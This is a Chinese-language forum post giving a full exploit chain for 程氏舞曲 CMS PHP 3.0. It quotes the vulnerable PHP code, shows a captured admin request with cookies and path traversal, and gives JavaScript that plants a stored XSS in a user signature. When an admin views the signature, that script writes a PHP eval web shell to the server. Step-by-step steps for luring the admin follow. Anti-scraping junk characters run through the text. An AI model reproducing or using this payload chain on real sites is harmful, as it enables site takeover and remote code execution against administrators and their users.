找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2481|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
' q( O' \' R) _/ F% K官网已经修补了,所以重新下了源码' N' \) V. |7 B6 M
因为 后台登入 还需要认证码 所以 注入就没看了。
: |& @; Y2 a; r3 |存在 xss1 ?5 h* L) {# A2 l
漏洞文件 user/member/skin_edit.php
. e' D; G/ v3 Q! F4 b本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:& P7 r: |" B( h' [  w
  ( V& U! n( I' \
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
8 c# u7 ~! H8 F: m8 i2 R1 i  
% \0 \; n, M% o- T- Z+ d6 h0 y+ a</textarea></td></tr>6 i4 M4 X6 @" a5 ]
  7 ?8 r$ b  ?8 ?# W& S  k
             user/do.php
+ O/ G7 T$ {. u* [; |
) F/ s; Y3 [& P' |+ `
: Y! a( G. B* F7 a" }+ Eif($op=='zl'){ //资料
) f) R0 |) X  C1 a) f  $ u7 v' U$ ~; d- g, Q
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))   }! ]* ^0 G( _7 k% z
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
( K7 c; T+ y3 y; d5 D' {4 B  ) f! j4 m( X# [" x
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
" ]# _% D1 r# d, P  i  
* a0 [# m% o: U7 L9 s! P& W             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'" y& {: ~* i+ ^8 T3 K( Z& q
             where CS_Name='".$cscms_name."'";3 n  i1 ?' u- V" r! p
  
6 y7 I/ W. u! w& W             if($db->query($sql)){+ M7 h7 Q$ \2 G) S# I
  
2 Y  q. X) z' G' R# k" o% _; u              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));$ ~* o. m5 T5 B) ^; h
  ( y7 Y/ ~  A" q) g
             }else{
7 r: L% c) W& Y  : K7 t( ?) Y: W. L3 J0 P
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
. u: \0 t% F( S+ R$ w0 _  
1 F0 Q# E  ~, ?5 L             }
6 [. ]% v/ w# x. Q
  B' g( C* s. A3 Z+ @
  n( Q$ P$ P8 U6 i7 z# f没有 过滤导致xss产生。
; v: E7 o  V+ d$ E后台 看了下 很奇葩的是可以写任意格式文件。。
  V! P! s" d% `% Q/ @. Q; x% C抓包。。; t% ~+ ~3 D; t) c$ ]  y+ \. q" Z

* }; L% j  ~5 U) I  g6 Q% z" C5 i; q3 q. ^, S
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.12 \8 U, K1 ?5 F1 \. l$ t4 }( q
  
2 L3 \, }5 q. [; t' e9 HAccept: text/html, application/xhtml+xml, */*
+ E, I6 b3 s3 F1 Q4 n' u  / F% K3 `$ ^! Y: u" w" b( s6 y
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
" k, R/ f( G% i6 ~4 M  N9 G2 C; x7 K  8 P2 I! ?( G- z7 F
Accept-Language: zh-CN
! Q/ {& u. _5 j- Q* m  
" ]1 l9 h2 x! y" k$ y; g  [User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)0 _- l( [. \9 n! U+ E
  2 C0 n- u- V  n. b$ p0 T) a4 p
Content-Type: application/x-www-form-urlencoded
2 y' I0 m! x( d6 D! k4 \' P  % |! ~9 A$ j  f  x, O+ v/ U
Accept-Encoding: gzip, deflate, k* v7 U8 [- f5 q) O! _7 V6 M
  1 F# O3 ~0 J+ v. a# ^0 K2 a
Host: 127.0.0.11 V  L3 z, D; x0 _$ [+ K  J
  
3 }* G. D- ]# ^  wContent-Length: 381 c4 E# N: O3 }& ~' J6 p: ]
  ! ]% C; W. _) ~2 ?( W  @
DNT: 1$ F: E( o" u! I2 }3 a
  
1 q: X. O' Q7 r, Q( M$ l9 T9 L2 {Connection: Keep-Alive! v  ^" f( H5 x8 z2 k
  
9 a' Q; Z0 Q/ A) ^& `4 hCache-Control: no-cache/ ^6 O; P) e! Z
  6 S- n! h5 g' \
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
" L% E9 `3 O; d7 D  7 m: {0 P6 t. h" A5 w% h' n: j1 N& j
9 y$ Y9 S: @$ {5 l: K+ A
name=aaa.php&content=%3Cs%3E%3Ca%25%3E
* h6 j. g$ G% J2 P$ e5 X2 n3 e& e5 E& d; x7 v1 `

; ]0 K6 _! e5 |4 {1 e: ]1 u! S9 v. O% X4 y* B
于是 构造js如下。
/ z; ^2 n6 F$ r9 S, l$ @/ b; Y, o& R7 a3 v% r/ C* z
本帖隐藏的内容<script> : k, B, C  {$ _+ i1 L7 L
thisTHost = top.location.hostname;
' y, F/ B3 v, P$ t  0 X7 d, W2 h5 f0 P
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
, `" D- W$ x7 P1 V4 H; F/ H" l  : U! H5 X+ V. u7 p# n3 h
function PostSubmit(url, data, msg) {
. L8 M8 M# n4 d4 b. ?4 q    var postUrl = url;
4 N' z7 t+ ?4 M9 @/ F  
% b* |6 v4 O7 U    var postData = data;
. b- X( @4 f/ z/ e% b3 r( n0 P- y    var msgData = msg; / Q2 L& Y; x$ y; V
    var ExportForm = document.createElement("FORM");
! |$ ]# U: F1 Q7 y, f# k2 E9 E    document.body.appendChild(ExportForm); ) n: p$ ]( j; c& V; H1 K/ f8 F
    ExportForm.method = "POST";
7 ~. x; k1 }/ s0 i. R    var newElement = document.createElement("input"); 9 }" ?! s( c6 T, J
    newElement.setAttribute("name", "name");
' N, q& l9 n' t/ R9 n" u    newElement.setAttribute("type", "hidden"); 3 h1 ^# ^) p# N9 o% J6 E9 H& X, U$ I
    var newElement2 = document.createElement("input");
1 Y* z4 i$ E) ^& P$ }3 @    newElement2.setAttribute("name", "content"); 4 P7 g. k1 A5 h, e. s5 M8 w8 k; e
    newElement2.setAttribute("type", "hidden");
8 A% X% {8 _4 ]& E    ExportForm.appendChild(newElement); & {0 h- y& p* K$ a9 A, Q
    ExportForm.appendChild(newElement2);
- W4 H, O4 M: ]( r* o    newElement.value = postData; 6 W) _0 m) g7 y1 i% O5 w
    newElement2.value = msgData; 7 S  B% d/ J1 {9 z( k
    ExportForm.action = postUrl; ) F" [' X! f7 J* I
    ExportForm.submit(); / ?: h, H3 V) ]" L5 z
};; N7 ?" b6 h% `. M) ]
  8 v  R# J2 z: c; H# _
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
9 p8 X0 N! X5 ]) s  u" g. W" ~  
$ |( H! I8 @- N, K$ F: H</script>
; B$ h0 h: O4 d, X9 p
! Y8 c+ ]- n4 O# I9 Y6 i# Y
/ X* a) j9 O( W: j' J! l+ `2 H" d, v
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入6 l7 S, W9 w( ^2 H( [3 P
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)' S. ^4 I; x/ B3 U; `( F' |% t) p
就会 在 skins\index\html\目录下生成 roker.php 一句话。

+ C) E% T+ \5 g$ }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表